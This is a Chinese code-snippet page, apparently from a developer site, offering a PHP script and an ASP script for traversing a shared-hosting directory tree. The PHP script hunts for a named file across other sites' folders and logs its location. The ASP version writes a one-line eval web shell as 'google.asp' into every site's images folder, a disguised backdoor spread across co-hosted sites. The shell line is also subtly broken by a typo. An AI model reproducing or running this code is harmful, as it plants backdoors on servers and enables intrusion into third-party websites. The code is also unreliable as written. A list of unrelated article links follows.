php一個(gè)找二層目錄的小東東
<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."\n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
closedir($handle);
}
}
asp版
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:\intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>
相關(guān)文章
原生JS實(shí)現(xiàn)Ajax通過(guò)POST方式與PHP進(jìn)行交互的方法示例
這篇文章主要介紹了原生JS實(shí)現(xiàn)Ajax通過(guò)POST方式與PHP進(jìn)行交互的方法,涉及ajax使用post方式與后臺(tái)交互及php數(shù)據(jù)接收、處理、查詢(xún)數(shù)據(jù)庫(kù)等相關(guān)操作技巧,需要的朋友可以參考下2018-05-05PHP在獲取指定目錄下的目錄,在獲取的目錄下面再創(chuàng)建文件,多平臺(tái)
PHP在獲取指定目錄下的目錄,在獲取的目錄下面再創(chuàng)建文件,多平臺(tái),需要的朋友可以參考下。2011-08-08解讀PHP的Yii框架中請(qǐng)求與響應(yīng)的處理流程
這篇文章主要介紹了PHP的Yii框架中請(qǐng)求與響應(yīng)的處理流程,這也是Yii處理網(wǎng)站后臺(tái)的最基本功能,需要的朋友可以參考下2016-03-03基于php雙引號(hào)中訪(fǎng)問(wèn)數(shù)組元素報(bào)錯(cuò)的解決方法
下面小編就為大家分享一篇基于php雙引號(hào)中訪(fǎng)問(wèn)數(shù)組元素報(bào)錯(cuò)的解決方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-02-02基于PHP實(shí)現(xiàn)一個(gè)簡(jiǎn)單的在線(xiàn)聊天功能
這篇文章主要介紹了基于PHP實(shí)現(xiàn)一個(gè)簡(jiǎn)單的在線(xiàn)聊天功能,對(duì)類(lèi)似功能感興趣的同學(xué),要著重看一下2021-04-04PHP實(shí)現(xiàn)數(shù)據(jù)庫(kù)統(tǒng)計(jì)時(shí)間戳按天分組輸出數(shù)據(jù)的方法
這篇文章主要介紹了PHP實(shí)現(xiàn)數(shù)據(jù)庫(kù)統(tǒng)計(jì)時(shí)間戳按天分組輸出數(shù)據(jù)的方法,涉及php基于時(shí)間的運(yùn)算與數(shù)據(jù)庫(kù)查詢(xún)相關(guān)操作技巧,需要的朋友可以參考下2017-10-10